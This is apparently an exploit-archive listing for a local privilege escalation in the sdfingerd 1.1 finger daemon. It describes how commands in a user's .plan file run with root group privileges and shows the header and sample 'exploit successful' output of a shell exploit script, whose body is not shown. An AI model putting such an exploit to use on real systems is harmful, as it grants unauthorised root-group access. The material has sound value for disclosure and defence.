SDFingerD 1.1 Failure To Drop Privileges Local Privilege Escalation Vulnerability. Local exploit for linux platform

sdfingerd has been reported prone to a local privilege escalation vulnerability. The issue presents itself because the sdfingerd daemon fails to sufficiently drop group privileges before executing commands that are contained in a users .plan file.

#
# sdfingerd(Simple Dynamic Finger) is a finger
# daemon with the main focus of allowing users
# to be able to have dynamic .plan files.  dynamic
# as in allows users to place commands in their
# .plan file.  when a third party command is called,
# the user id privileges get set to that of the user
# being requested.  but, the group id is left as-is.
# since, this program is designed/defaulted to run
# as root via inetd, gid=0(root) is freely available.
#
# ----------------- example usage -----------------
# [v9@localhost v9]$ id
# uid=1001(v9) gid=1001(v9) groups=1001(v9)
# [v9@localhost v9]$ sh xsdfingerd.sh
# * sdfingerd[v1.1]: local root(gid) exploit.
# * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)
# * exploit successful.
